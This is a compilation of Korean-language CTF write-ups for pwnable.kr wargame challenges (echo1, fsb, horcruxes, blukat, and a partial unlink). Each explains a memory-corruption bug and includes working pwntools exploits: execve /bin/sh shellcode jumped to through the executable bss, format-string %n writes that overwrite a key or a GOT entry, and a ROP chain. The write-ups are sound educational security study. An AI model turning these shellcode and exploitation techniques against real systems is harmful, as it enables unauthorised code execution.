그래서 ii번 방법과 iii번 방법을 고민하기 시작했는데, ii번 방법을 생각해보면 쉘을 따려면 마찬가지로 쉘코드를 실행 가능한 영역에 넣어놓고, got overwrite을 이용해 그쪽으로 뛰어야하니 사실상 i번하고 다를바 없어지게 된다. iii번 방법의 경우에는 실제로 될듯말듯한 방법이었다. RTL로 system("/bin/sh")를 실행시키는 것을 목표로 했다. 처음 echo1 실행 시 이름을 입력받는 부분에 "/bin/sh" 문자열을 넣을 수 있고, libc leak과 heap leak은 앞서 말한 0x400848 부분을 활용하여 얻을 수 있고, bss와 heap을 덮어쓰는건 0x400837 부분을 활용하면 되고, heap을 덮어써서 greetings 함수를 system 함수의 주소로 바꾸고 나면 자연스럽게 rdi에 "/bin/sh" 문자열이 들어가 있기 때문에 실제로 이 방법은 되게 그럴듯 해보였으나... bof로 rbp를 조작해서 bss 영역을 덮어쓰는 과정에서 스택 프레임이 bss 영역으로 바뀌게 되고, 이 때 puts 함수가 실행되면 스택이 쓰기 가능한 영역을 벗어나버려서 세그폴트가 발생했다. 부분적으로는 heap leak하고 libc leak은 얻을 수 있었으나 그 이후의 진행이 되지않았다.

 

결국에는 이 방법도 안되는거였다.(내가 못한걸 수도 있지만) 여기서 하루를 날리고 그 다음날 노트북이 없어서 pwnable.kr 서버에 ssh로 붙어서 문제를 보고 있었는데 화들짝 놀란것이...

 

 

????????????? 뭔가 다르다..? 뭔가 이상하다..? 왜 데이터 섹션에 eXecutable 플래그가 설정되어있지..?

여기서 멘붕에 빠져버렸는데, 왜 kali에서와 pwnable.kr 서버 환경에서의 메모리맵이 다른지 그 이유를 알 수가 없었다.

상식적으로 생각해보면 데이터 섹션은 non executable인게 맞는데, pwnable.kr 서버에서 저렇게 보인다는 것은 저게 실제로 문제에서 의도된 환경이라는 것인가..?싶어서 데이터 세그먼트를 executable로 만드는 방법을 찾아보았다.

 

검색을 잘해야 한다..

마침 딱 첫 링크가 내가 원하던 답이었는데, 해당 링크를 들어가보면 gcc의 -zexecstack 이라는 flag가 stack뿐만 아니라 데이터 세그먼트도 executable로 만들어준다는 설명이었다. 그럼 추측해보면 echo1 바이너리는 -zexecstack flag로 컴파일이 되었을 것인데, 그럼 왜 kali에서는 여전히 데이터 섹션이 non executable 이었을까? 구글갓에게 물어보니 다음과 같은 글을 발견했다.

 

아차차.. 결국엔 커널 버전에 따라 zexecstack의 동작이 달라진다는 것이고, 내 kali는 무려 linux 5.9버전이었다.. 발전된 기술 덕분에 문제 풀이를 해메게 된 것이었다..

 

그럼 다시 i번 방법으로 돌아가보자. 데이터 섹션, 특히 bss가 실행 가능한 영역이라는 것은 아주 귀중한 정보인데, 왜냐하면 bss 영역은 주소가 항상 고정되기 때문이다. 즉 bss 영역에 쉘코드를 넣고 그쪽으로 뛰는 방법을 쓰면 참 좋겠지만 문제는 bss에 입력을 할 방법은 id 4바이트 뿐이라는 것이다. 이 때 쓸 수 있는 방법은 여기다가 jmp rsp 명령어를 넣고 뛴다음, 조작한 리턴 주소 밑에 쉘코드를 넣는것이다. 그러면 조작된 스택 내용은 다음과 같아진다.

 

 

그러면 payload 구성은, asm("jmp rsp") + 1 + bof가 된다. exploit은 다음과 같다.

from pwn import *

context(arch='amd64', os='linux')
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x48\x89\xe7\x6a\x3b\x58\x31\xd2\x0f\x05"

payload =  asm("jmp rsp") + "\n"
payload += str(1) + "\n"
payload += "a"*0x28 + p64(0x6020a0) + shellcode

#p = process("./echo1")
p = remote("pwnable.kr", 9010)
print(p.recvuntil(":"))
p.sendline(payload)
print(p.recvuntil("bye"))
p.interactive()

 

문제를 다시 정리하면서 출제된 환경을 최대한 맞춰서 분석을 해야한다는 것을 뼈저리게 느꼈다... vm을 하나 더 파야겠다

'pwn' 카테고리의 다른 글

pwnable.kr - brain fuck  (0) 2021.03.08
pwnable.kr - tiny_easy  (0) 2021.02.25
pwnable.kr - fsb  (0) 2021.02.19
pwnable.kr - horcruxes  (0) 2020.08.04
pwnable.kr - blukat  (0) 2020.08.04

해설

Isn't FSB almost obsolete in computer security?
Anyway, have fun with it :)

 

아주 쉬운 Format String Bug 문제이다. 코드를 보자

#include <stdio.h>
#include <alloca.h>
#include <fcntl.h>

unsigned long long key;
char buf[100];
char buf2[100];

int fsb(char** argv, char** envp){
        char* args[]={"/bin/sh", 0};
        int i;

        char*** pargv = &argv;
        char*** penvp = &envp;
        char** arg;
        char* c;
        for(arg=argv;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
        for(arg=envp;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
        *pargv=0;
        *penvp=0;

        for(i=0; i<4; i++){
                printf("Give me some format strings(%d)\n", i+1);
                read(0, buf, 100);
                printf(buf);
        }

        printf("Wait a sec...\n");
        sleep(3);

        printf("key : \n");
        read(0, buf2, 100);
        unsigned long long pw = strtoull(buf2, 0, 10);
        if(pw == key){
                printf("Congratz!\n");
                execve(args[0], args, 0);
                return 0;
        }

        printf("Incorrect key \n");
        return 0;
}

int main(int argc, char* argv[], char** envp){

        int fd = open("/dev/urandom", O_RDONLY);
        if( fd==-1 || read(fd, &key, 8) != 8 ){
                printf("Error, tell admin\n");
                return 0;
        }
        close(fd);

        alloca(0x12345 & key);

        fsb(argv, envp); // exploit this format string bug!
        return 0;
}

코드를 보고 print(buf) 부분에서 fsb가 발생할 수 있음을 캐치했다.

fsb는 스택에 어떤 값이 들어있냐에 따라서 exploit 난이도가 정해지는데, 이 문제는 스택에 스택 주소값이 들어가 있다. 해당 부분에 조작하고싶은 부분의 주소값을 먼저 써놓고, 그 주소에 다시 원하는 값을 쓰는 방식으로 exploit하면 될 것 같다. 코드를 보면 pw와 key를 비교하고, key는 무작위로 생성된 글로벌 변수이다.

 

이 문제를 푸는 방법은 여러가지가 있을 수 있는데 출제 의도(아마도)에 따르면 총 4번의 fsb를 이용해 문제를 푸는 정석(?)적인 방법과, 그런거 필요없고 got overwrite을 통해 control flow를 조작해서 execve(args[0], args, 0) 라인을 실행하는 법이 있다.

 

i) 정석(?)적인 방법

정석적인 방법이라함은 결국 무작위로 생성된 key 값을 조작해서 원하는 값으로 변경한 후에 pw를 해당 값으로 입력해서 조건문을 통과하는 방식이다. 일단 gdb로 fsb 함수 컨텍스트 안에서 stack에 어떤 값이 들어가 있는지를 보면 다음과 같다.

 

gdb-peda$ x /30x $esp
0xffe72860:     0x00000000      0x0804a100      0x00000064      0x00000000
0xffe72870:     0x00000000      0x00000000      0x00000000      0x00000000
0xffe72880:     0x00000000      0x08048870      0x00000000      0x00000000
0xffe72890:     0xffe82a38      0xffe83fe9      0xffe728b0      0xffe728b4
0xffe728a0:     0x00000000      0x00000000      0xffe82938      0x08048791
0xffe728b0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffe728c0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffe728d0:     0x00000000      0x00000000

 

자세히 보면 스택에 0xffe728b0, 0xffe728b4와 같은 스택 내부 주소가 저장되어 있음을 알 수 있다. 현재 해당 부분들은 모두 0으로 되어있고, 이 부분에 타겟 주소 값을 써넣고, 타겟 주소 값에 다시 원하는 값을 써넣는 방식으로 공격하면 될 것 같다. 

 

0xffe728b0는 14번째, 0xffe728b4는 15번째 값이고, 해당 부분에 key 값이 저장된 주소를 써넣으면 된다. key가 저장된 주소는 gdb로 확인한 결과 0x804a060이고, key는 8바이트이므로 결국 0x804a060, 0x804a064 두번에 나눠서 4바이트 정수 값을 %n 포맷을 이용해 써넣으면 되겠다.

 

exploit 코드는 아래와 같다.

from pwn import *

p = process("/home/fsb/fsb")

print(p.recvuntil(")"))
p.sendline("%134520928x%14$n")
p.recvuntil(")")
p.sendline("%134520932x%15$n")
p.recvuntil(")")
p.sendline("%20$n\x00")
p.recvuntil(")")
p.sendline("%21$n\x00")
print(p.recvuntil("key :"))
p.sendline("0")
print(p.recvuntil("Congratz"))
p.interactive()

 

3번째 4번째 입력 때 key에 4바이트씩 0을 써넣으려고 앞에 아무것도 넣지 않았고, 주의할 점이 뒤에는 쓸데없는 출력을 막기위해 null byte를 넣어주었다. null byte를 넣지 않으면 세그폴트가 발생한다.

 

ii) got overwrite

위와 같은 방법말고도 직접 쉘을 실행하는 부분으로 점프할 수 있는데, fsb는 원하는 주소에 원하는 값을 써넣을 수 있기 때문에 got overwrite이 가능하다. fsb 함수를 디스어셈해보면 4번의 루프 이후에 puts 함수가 실행되는 것을 알 수 있는데, 타겟을 puts로 잡아봤다. puts의 plt를 보면 다음과 같다.

gdb-peda$ x /i puts
   0x8048410 <puts@plt>:        jmp    DWORD PTR ds:0x804a00c

 

0x804a00c가 가리키는 주소로 점프를 하기 때문에, 0x804a00c에 담긴 주소를 덮어쓰면 된다.

따라서 스택에 0x804a00c 값을 우선 써넣고, 그 다음에 0x804a00c에 뛰고싶은 부분의 주소를 써넣으면 된다. fsb를 디스어셈 해보면 알겠지만 execve의 인자를 스택에 저장하는 부분의 코드 주소는 0x80486ab이다. 정리하면 스택에 0x804a00c 값 쓰기 -> 0x804a00c에 0x80486ab 값 쓰기 총 두번의 fsb만으로 exploit이 가능하다. 코드는 다음과 같다.

from pwn import *

p = process("/home/fsb/fsb")

print(p.recvuntil(")"))
p.sendline("%134520844x%14$n")
p.recvuntil(")")
p.sendline("%134514347x%20$n")
p.recvuntil(")")
p.sendline("aaaaaaaaaaaaaaaa")
p.recvuntil(")")
p.sendline("aaaaaaaaaaaaaaaa")
p.interactive()

 

이 때 주의할 점은 앞서 정석적인 방법때와 마찬가지인데 buf에 적절하게 null byte를 넣어주거나 buf를 의미없는 dummy값으로 전부 덮어서 3번째, 4번째 루프에서는 아무일도 일어나지않게 하는게 중요하다. 그래야만 의도한대로 exploit이 수행된다.

 

'pwn' 카테고리의 다른 글

pwnable.kr - tiny_easy  (0) 2021.02.25
pwnable.kr - echo1  (0) 2021.02.25
pwnable.kr - horcruxes  (0) 2020.08.04
pwnable.kr - blukat  (0) 2020.08.04
pwnable.kr - unlink  (0) 2020.08.04

해설

Voldemort concealed his splitted soul inside 7 horcruxes.
Find all horcruxes, and ROP it!

 

rop 문제인 것 같다. 접속해보면 horcruxes라는 바이너리가 있다. 어셈 코드를 확인해보면, main에서 ropme라는 함수를 호출한다. ropme의 어셈 코드를 확인해보자

 

Dump of assembler code for function ropme:
   0x080a0009 <+0>:     push   ebp
   0x080a000a <+1>:     mov    ebp,esp
   0x080a000c <+3>:     sub    esp,0x78
   0x080a000f <+6>:     sub    esp,0xc
   0x080a0012 <+9>:     push   0x80a050c
   0x080a0017 <+14>:    call   0x809fc40 <printf@plt>
   0x080a001c <+19>:    add    esp,0x10
   0x080a001f <+22>:    sub    esp,0x8
   0x080a0022 <+25>:    lea    eax,[ebp-0x10]
   0x080a0025 <+28>:    push   eax
   0x080a0026 <+29>:    push   0x80a0519
   0x080a002b <+34>:    call   0x809fd10 <__isoc99_scanf@plt>
   0x080a0030 <+39>:    add    esp,0x10
   0x080a0033 <+42>:    call   0x809fc70 <getchar@plt>
   0x080a0038 <+47>:    mov    edx,DWORD PTR [ebp-0x10]
   0x080a003b <+50>:    mov    eax,ds:0x80a2088
   0x080a0040 <+55>:    cmp    edx,eax
   0x080a0042 <+57>:    jne    0x80a004e <ropme+69>
   0x080a0044 <+59>:    call   0x809fe4b <A>
   0x080a0049 <+64>:    jmp    0x80a0170 <ropme+359>
   0x080a004e <+69>:    mov    edx,DWORD PTR [ebp-0x10]
   0x080a0051 <+72>:    mov    eax,ds:0x80a2070
   0x080a0056 <+77>:    cmp    edx,eax
   0x080a0058 <+79>:    jne    0x80a0064 <ropme+91>
   0x080a005a <+81>:    call   0x809fe6a <B>
   0x080a005f <+86>:    jmp    0x80a0170 <ropme+359>
   0x080a0064 <+91>:    mov    edx,DWORD PTR [ebp-0x10]
   0x080a0067 <+94>:    mov    eax,ds:0x80a2084
   0x080a006c <+99>:    cmp    edx,eax
   0x080a006e <+101>:   jne    0x80a007a <ropme+113>
   0x080a0070 <+103>:   call   0x809fe89 <C>
   0x080a0075 <+108>:   jmp    0x80a0170 <ropme+359>
   0x080a007a <+113>:   mov    edx,DWORD PTR [ebp-0x10]
   0x080a007d <+116>:   mov    eax,ds:0x80a206c
   0x080a0082 <+121>:   cmp    edx,eax
   0x080a0084 <+123>:   jne    0x80a0090 <ropme+135>
   0x080a0086 <+125>:   call   0x809fea8 <D>
   0x080a008b <+130>:   jmp    0x80a0170 <ropme+359>
   0x080a0090 <+135>:   mov    edx,DWORD PTR [ebp-0x10]
   0x080a0093 <+138>:   mov    eax,ds:0x80a2080
   0x080a0098 <+143>:   cmp    edx,eax
   0x080a009a <+145>:   jne    0x80a00a6 <ropme+157>
   0x080a009c <+147>:   call   0x809fec7 <E>
   0x080a00a1 <+152>:   jmp    0x80a0170 <ropme+359>
   0x080a00a6 <+157>:   mov    edx,DWORD PTR [ebp-0x10]
   0x080a00a9 <+160>:   mov    eax,ds:0x80a2074
   0x080a00ae <+165>:   cmp    edx,eax
   0x080a00b0 <+167>:   jne    0x80a00bc <ropme+179>
   0x080a00b2 <+169>:   call   0x809fee6 <F>
   0x080a00b7 <+174>:   jmp    0x80a0170 <ropme+359>
   0x080a00bc <+179>:   mov    edx,DWORD PTR [ebp-0x10]
   0x080a00bf <+182>:   mov    eax,ds:0x80a207c
   0x080a00c4 <+187>:   cmp    edx,eax
   0x080a00c6 <+189>:   jne    0x80a00d2 <ropme+201>
   0x080a00c8 <+191>:   call   0x809ff05 <G>
   0x080a00cd <+196>:   jmp    0x80a0170 <ropme+359>
   0x080a00d2 <+201>:   sub    esp,0xc
   0x080a00d5 <+204>:   push   0x80a051c
   0x080a00da <+209>:   call   0x809fc40 <printf@plt>
   0x080a00df <+214>:   add    esp,0x10
   0x080a00e2 <+217>:   sub    esp,0xc
   0x080a00e5 <+220>:   lea    eax,[ebp-0x74]
   0x080a00e8 <+223>:   push   eax
   0x080a00e9 <+224>:   call   0x809fc50 <gets@plt>
   0x080a00ee <+229>:   add    esp,0x10
   0x080a00f1 <+232>:   sub    esp,0xc
   0x080a00f4 <+235>:   lea    eax,[ebp-0x74]
   0x080a00f7 <+238>:   push   eax
   0x080a00f8 <+239>:   call   0x809fd20 <atoi@plt>
   0x080a00fd <+244>:   add    esp,0x10
   0x080a0100 <+247>:   mov    edx,eax
   0x080a0102 <+249>:   mov    eax,ds:0x80a2078
   0x080a0107 <+254>:   cmp    edx,eax
   0x080a0109 <+256>:   jne    0x80a0160 <ropme+343>
   0x080a010b <+258>:   sub    esp,0x8
   0x080a010e <+261>:   push   0x0
   0x080a0110 <+263>:   push   0x80a053c
   0x080a0115 <+268>:   call   0x809fcc0 <open@plt>
   0x080a011a <+273>:   add    esp,0x10
   0x080a011d <+276>:   mov    DWORD PTR [ebp-0xc],eax
   0x080a0120 <+279>:   sub    esp,0x4
   0x080a0123 <+282>:   push   0x64
   0x080a0125 <+284>:   lea    eax,[ebp-0x74]
   0x080a0128 <+287>:   push   eax
   0x080a0129 <+288>:   push   DWORD PTR [ebp-0xc]
   0x080a012c <+291>:   call   0x809fc30 <read@plt>
   0x080a0131 <+296>:   add    esp,0x10
   0x080a0134 <+299>:   mov    BYTE PTR [ebp+eax*1-0x74],0x0
   0x080a0139 <+304>:   sub    esp,0xc
   0x080a013c <+307>:   lea    eax,[ebp-0x74]
   0x080a013f <+310>:   push   eax
   0x080a0140 <+311>:   call   0x809fca0 <puts@plt>
   0x080a0145 <+316>:   add    esp,0x10
   0x080a0148 <+319>:   sub    esp,0xc
   0x080a014b <+322>:   push   DWORD PTR [ebp-0xc]
   0x080a014e <+325>:   call   0x809fd30 <close@plt>
   0x080a0153 <+330>:   add    esp,0x10
   0x080a0156 <+333>:   sub    esp,0xc
   0x080a0159 <+336>:   push   0x0
   0x080a015b <+338>:   call   0x809fcb0 <exit@plt>
   0x080a0160 <+343>:   sub    esp,0xc
   0x080a0163 <+346>:   push   0x80a0544
   0x080a0168 <+351>:   call   0x809fca0 <puts@plt>
   0x080a016d <+356>:   add    esp,0x10
   0x080a0170 <+359>:   mov    eax,0x0
   0x080a0175 <+364>:   leave
   0x080a0176 <+365>:   ret

 

코드를 보면 정수 입력을 받아서 A~G 함수 중 하나를 실행하거나, 경험치를 얼마 모았는지를 물어보는 출력문과 함께 gets로 스트링 입력을 받는데, 이 때 0x80a2078에 저장된 값과 비교하여 같을 경우 flag 값을 출력하도록 되어 있다. A부터 G 함수까지의 내용을 살펴보면, 호크룩스(해리포터를 안봤으면 모를수도 있다)를 모았다는 말과 함께 경험치를 얼마 얻었는지를 출력해준다.

 

여기까지 보고 유추해보면, A부터 G까지의 모든 호크룩스를 모아서 그 경험치 값을 더한 값이 아마 0x80a2078에 있는 값인것 같은데, 정말 맞는지 확인해보자 main에는 init_ABCDEFG라는 함수가 있다.

 

Dump of assembler code for function init_ABCDEFG:
   0x080a0177 <+0>:     push   ebp
   0x080a0178 <+1>:     mov    ebp,esp
   0x080a017a <+3>:     sub    esp,0x18
   0x080a017d <+6>:     sub    esp,0x8
   0x080a0180 <+9>:     push   0x0
   0x080a0182 <+11>:    push   0x80a0577
   0x080a0187 <+16>:    call   0x809fcc0 <open@plt>
   0x080a018c <+21>:    add    esp,0x10
   0x080a018f <+24>:    mov    DWORD PTR [ebp-0xc],eax
   0x080a0192 <+27>:    sub    esp,0x4
   0x080a0195 <+30>:    push   0x4
   0x080a0197 <+32>:    lea    eax,[ebp-0x10]
   0x080a019a <+35>:    push   eax
   0x080a019b <+36>:    push   DWORD PTR [ebp-0xc]
   0x080a019e <+39>:    call   0x809fc30 <read@plt>
   0x080a01a3 <+44>:    add    esp,0x10
   0x080a01a6 <+47>:    cmp    eax,0x4
   0x080a01a9 <+50>:    je     0x80a01c5 <init_ABCDEFG+78>
   0x080a01ab <+52>:    sub    esp,0xc
   0x080a01ae <+55>:    push   0x80a0584
   0x080a01b3 <+60>:    call   0x809fca0 <puts@plt>
   0x080a01b8 <+65>:    add    esp,0x10
   0x080a01bb <+68>:    sub    esp,0xc
   0x080a01be <+71>:    push   0x0
   0x080a01c0 <+73>:    call   0x809fcb0 <exit@plt>
   0x080a01c5 <+78>:    sub    esp,0xc
   0x080a01c8 <+81>:    push   DWORD PTR [ebp-0xc]
   0x080a01cb <+84>:    call   0x809fd30 <close@plt>
   0x080a01d0 <+89>:    add    esp,0x10
   0x080a01d3 <+92>:    mov    eax,DWORD PTR [ebp-0x10]
   0x080a01d6 <+95>:    sub    esp,0xc
   0x080a01d9 <+98>:    push   eax
   0x080a01da <+99>:    call   0x809fcd0 <srand@plt>
   0x080a01df <+104>:   add    esp,0x10
   0x080a01e2 <+107>:   call   0x809fd00 <rand@plt>
   0x080a01e7 <+112>:   imul   edx,eax,0xdeadbeef
   0x080a01ed <+118>:   cmp    edx,0xcafebabe
   0x080a01f3 <+124>:   setae  al
   0x080a01f6 <+127>:   movzx  eax,al
   0x080a01f9 <+130>:   imul   eax,eax,0xcafebabe
   0x080a01ff <+136>:   sub    edx,eax
   0x080a0201 <+138>:   mov    eax,edx
   0x080a0203 <+140>:   mov    ds:0x80a2088,eax
   0x080a0208 <+145>:   call   0x809fd00 <rand@plt>
   0x080a020d <+150>:   imul   edx,eax,0xdeadbeef
   0x080a0213 <+156>:   cmp    edx,0xcafebabe
   0x080a0219 <+162>:   setae  al
   0x080a021c <+165>:   movzx  eax,al
   0x080a021f <+168>:   imul   eax,eax,0xcafebabe
   0x080a0225 <+174>:   sub    edx,eax
   0x080a0227 <+176>:   mov    eax,edx
   0x080a0229 <+178>:   mov    ds:0x80a2070,eax
   0x080a022e <+183>:   call   0x809fd00 <rand@plt>
   0x080a0233 <+188>:   imul   edx,eax,0xdeadbeef
   0x080a0239 <+194>:   cmp    edx,0xcafebabe
   0x080a023f <+200>:   setae  al
   0x080a0242 <+203>:   movzx  eax,al
   0x080a0245 <+206>:   imul   eax,eax,0xcafebabe
   0x080a024b <+212>:   sub    edx,eax
   0x080a024d <+214>:   mov    eax,edx
   0x080a024f <+216>:   mov    ds:0x80a2084,eax
   0x080a0254 <+221>:   call   0x809fd00 <rand@plt>
   0x080a0259 <+226>:   imul   edx,eax,0xdeadbeef
   0x080a025f <+232>:   cmp    edx,0xcafebabe
   0x080a0265 <+238>:   setae  al
   0x080a0268 <+241>:   movzx  eax,al
   0x080a026b <+244>:   imul   eax,eax,0xcafebabe
   0x080a0271 <+250>:   sub    edx,eax
   0x080a0273 <+252>:   mov    eax,edx
   0x080a0275 <+254>:   mov    ds:0x80a206c,eax
   0x080a027a <+259>:   call   0x809fd00 <rand@plt>
   0x080a027f <+264>:   imul   edx,eax,0xdeadbeef
   0x080a0285 <+270>:   cmp    edx,0xcafebabe
   0x080a028b <+276>:   setae  al
   0x080a028e <+279>:   movzx  eax,al
   0x080a0291 <+282>:   imul   eax,eax,0xcafebabe
   0x080a0297 <+288>:   sub    edx,eax
   0x080a0299 <+290>:   mov    eax,edx
   0x080a029b <+292>:   mov    ds:0x80a2080,eax
   0x080a02a0 <+297>:   call   0x809fd00 <rand@plt>
   0x080a02a5 <+302>:   imul   edx,eax,0xdeadbeef
   0x080a02ab <+308>:   cmp    edx,0xcafebabe
   0x080a02b1 <+314>:   setae  al
   0x080a02b4 <+317>:   movzx  eax,al
   0x080a02b7 <+320>:   imul   eax,eax,0xcafebabe
   0x080a02bd <+326>:   sub    edx,eax
   0x080a02bf <+328>:   mov    eax,edx
   0x080a02c1 <+330>:   mov    ds:0x80a2074,eax
   0x080a02c6 <+335>:   call   0x809fd00 <rand@plt>
   0x080a02cb <+340>:   imul   edx,eax,0xdeadbeef
   0x080a02d1 <+346>:   cmp    edx,0xcafebabe
   0x080a02d7 <+352>:   setae  al
   0x080a02da <+355>:   movzx  eax,al
   0x080a02dd <+358>:   imul   eax,eax,0xcafebabe
   0x080a02e3 <+364>:   sub    edx,eax
   0x080a02e5 <+366>:   mov    eax,edx
   0x080a02e7 <+368>:   mov    ds:0x80a207c,eax
   0x080a02ec <+373>:   mov    edx,DWORD PTR ds:0x80a2088
   0x080a02f2 <+379>:   mov    eax,ds:0x80a2070
   0x080a02f7 <+384>:   add    edx,eax
   0x080a02f9 <+386>:   mov    eax,ds:0x80a2084
   0x080a02fe <+391>:   add    edx,eax
   0x080a0300 <+393>:   mov    eax,ds:0x80a206c
   0x080a0305 <+398>:   add    edx,eax
   0x080a0307 <+400>:   mov    eax,ds:0x80a2080
   0x080a030c <+405>:   add    edx,eax
   0x080a030e <+407>:   mov    eax,ds:0x80a2074
   0x080a0313 <+412>:   add    edx,eax
   0x080a0315 <+414>:   mov    eax,ds:0x80a207c
   0x080a031a <+419>:   add    eax,edx
   0x080a031c <+421>:   mov    ds:0x80a2078,eax
   0x080a0321 <+426>:   nop
   0x080a0322 <+427>:   leave
   0x080a0323 <+428>:   ret
End of assembler dump.

 

코드를 확인해보면 추측이 맞았음을 알 수 있는데, 랜덤으로 7개의 값(A~G)을 초기화하고, 이를 모두 더해서 0x80a2078에 저장한다.

 

즉, 우리는 A부터 G까지의 함수를 rop를 통해 몽땅 실행하고, 경험치 출력값을 모두 더해서 마지막에 던져주면 될 것 같다. 마침 gets 함수가 있어서 오버플로우도 일으킬 수 있겠다, 스택의 리턴 주소를 조작해서 rop를 하면 된다. 심지어 A부터 G까지의 함수들은 인자도 없기 때문에, rop 가젯이 필요없이 그냥 스택에 각 함수들의 주소만 차곡차곡 쌓으면 된다.

 

익스플로잇 코드는 다음과 같다.

 

from pwn import *

p = remote("localhost", 9032)
sum = 0
payload = "A"*120 + "\x4b\xfe\x09\x08" + "\x6a\xfe\x09\x08" + "\x89\xfe\x09\x08" + "\xa8\xfe\x09\x08" + "\xc7\xfe\x09\x08" + "\xe6\xfe\x09\x08" + "\x05\xff\x09\x08" + "\xfc\xff\x09\x08"

print(p.recvuntil("Select Menu:"))
p.sendline("1")
print(p.recvuntil("How many EXP did you earned? : "))
p.sendline(payload)

print(p.recvuntil("EXP +"))
a = long(p.recvuntil(")")[:-1])
print(a)
print(p.recvuntil("EXP +"))
sum = sum + a

b = long(p.recvuntil(")")[:-1])
print(b)
print(p.recvuntil("EXP +"))
sum = sum + b

c = long(p.recvuntil(")")[:-1])
print(c)
print(p.recvuntil("EXP +"))
sum = sum + c

d = long(p.recvuntil(")")[:-1])
print(d)
print(p.recvuntil("EXP +"))
sum = sum + d

e = long(p.recvuntil(")")[:-1])
print(e)
print(p.recvuntil("EXP +"))
sum = sum + e

f = long(p.recvuntil(")")[:-1])
print(f)
print(p.recvuntil("EXP +"))
sum = sum + f

g = long(p.recvuntil(")")[:-1])
print(g)
sum = sum + g

sum = sum & 0xFFFFFFFF

if(sum & 0x80000000):
        sum = -0x100000000 + sum

print(p.recvuntil("Select Menu:"))
p.sendline("1")
print(p.recvuntil("How many EXP did you earned? : "))
sum = str(sum)
print(sum)
p.sendline(sum)
print(p.recvline())

 

이로써 toddler 단계의 모든 문제에 대한 writeup을 작성했다. 사실 toddler 단계는 예전에 풀었던 것을 다시 풀면서 정리한 것이기 때문에 매끄럽게 정리 할 수 있었는데, rookie 부터는 그렇게 할 수 있을지는 잘 모르겠다. rookie 문제 부터는 의식의 흐름을 최대한 반영해서 글을 작성해야겠다

'pwn' 카테고리의 다른 글

pwnable.kr - echo1  (0) 2021.02.25
pwnable.kr - fsb  (0) 2021.02.19
pwnable.kr - blukat  (0) 2020.08.04
pwnable.kr - unlink  (0) 2020.08.04
pwnable.kr - asm  (0) 2020.07.22

해설

Sometimes, pwnable is strange...
hint: if this challenge is hard, you are a skilled player.

 

접속해보면 password 파일이 있고 blukat 코드를 보면 password를 맞추는 문제일것 같지만...

 

사실은 id를 통해 확인해보면,

 

놀랍게도 그룹 권한이 blukat_pwn으로 설정되어 있다!

 

따라서 cat password를 하면 password가 그냥 출력이 된다. 재밌는 점은 password 내용이 명령어 수행 시 권한이 없을때 나오는 메시지와 동일하다는 것이다. 이 부분에서 약간의 낚시가 있는 것 같은데 사실은 그게 password가 맞다!

 

따라서 문제에 password를 입력하면 flag가 출력된다.

 

문제를 풀때 권한을 잘 확인해보도록 하자

 

'pwn' 카테고리의 다른 글

pwnable.kr - fsb  (0) 2021.02.19
pwnable.kr - horcruxes  (0) 2020.08.04
pwnable.kr - unlink  (0) 2020.08.04
pwnable.kr - asm  (0) 2020.07.22
pwnable.kr - memcpy  (0) 2020.07.21

해설

Daddy! how can I exploit unlink corruption?

 

ssh로 접속해서 unlink.c 코드를 보자

 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
        struct tagOBJ* fd;
        struct tagOBJ* bk;
        char buf[8];
}OBJ;

void shell(){
        system("/bin/sh");
}

void unlink(OBJ* P){
        OBJ* BK;
        OBJ* FD;
        BK=P->bk;
        FD=P->fd;
        FD->bk=BK;
        BK->fd=FD;
}
int main(int argc, char* argv[]){
        malloc(1024);
        OBJ* A = (OBJ*)malloc(sizeof(OBJ));
        OBJ* B = (OBJ*)malloc(sizeof(OBJ));
        OBJ* C = (OBJ*)malloc(sizeof(OBJ));

        // double linked list: A <-> B <-> C
        A->fd = B;
        B->bk = A;
        B->fd = C;
        C->bk = B;

        printf("here is stack address leak: %p\n", &A);
        printf("here is heap address leak: %p\n", A);
        printf("now that you have leaks, get shell!\n");
        // heap overflow!
        gets(A->buf);

        // exploit this unlink!
        unlink(B);
        return 0;
}

A B C 가 doubly-linked list의 구조로 메모리에 저장되어 있고, 각 오브젝트들은 8바이트의 버퍼를 갖고있다. 그리고 unlink 함수는 인자로 넘겨 받은 오브젝트의 앞 뒤 연결을 끊는다 이를 시각화 하면 아래와 같다

 

 

그리고 코드 주석에도 나와있지만 gets로 A의 버퍼에 입력을 받기 때문에, 여기서 오버플로우가 발생한다. 코드만 봐도 힙의 메모리 레이아웃은 다음과 같이 추측할 수 있다

 

힙에는 A(빨간색) B(파란색) C(초록색)이 순서대로 저장되어 있을 것이고, gets(A->buf)에 의해 우리는 빨간 글씨로 색칠되어 있는 부분을 모두 조작할 수 있게 된다

여기까지 알고나면 해야할 일은 뻔해지는 것 같다. unlink 이후의 리턴 주소를 조작해서 shell() 함수를 실행시키도록 하면 될 것 같다. 그치만 어떻게 해야할까? unlink는 시각적으로 보았을때는 직관적으로 와닿지 않을 수 있지만, 결론적으론 B->fd 부분과 B->bk 부분에 내가 조작하고싶은 부분의 주소를 넣으면 된다.

 

FD = b->fd

BK = b->bk

 

이므로, FD->bk는 b->fd->bk, 즉 b->fd 부분의 주소 + 4바이트 부분을 가리키게되고, BK->fd는 b->bk 부분의 주소를 그대로 가리키게 된다

 

문제에서 스택 주소와 힙 주소 leak을 제공하기 때문에, 주소를 구할 걱정은 하지 않아도 된다. 그런데 도대체 어디의 주소를 조작해야할까? 언뜻봐서는 리턴 주소를 shell() 주소로 바꿔치기 하면 될것 같지만, 그렇게 할 경우 shell() 주소 부분도 바뀌어야 하는데 shell() 주소 부분은 텍스트 영역이므로 바뀌지 않는다. 여기까지만 봐서는 어떤 주소를 바꿔야할지가 명확하지 않다. main의 어셈 코드를 보도록 하자

 

Dump of assembler code for function main:
   0x0804852f <+0>:     lea    ecx,[esp+0x4]
   0x08048533 <+4>:     and    esp,0xfffffff0
   0x08048536 <+7>:     push   DWORD PTR [ecx-0x4]
   0x08048539 <+10>:    push   ebp
   0x0804853a <+11>:    mov    ebp,esp
   0x0804853c <+13>:    push   ecx
   0x0804853d <+14>:    sub    esp,0x14
   0x08048540 <+17>:    sub    esp,0xc
   0x08048543 <+20>:    push   0x400
   0x08048548 <+25>:    call   0x80483a0 <malloc@plt>
   0x0804854d <+30>:    add    esp,0x10
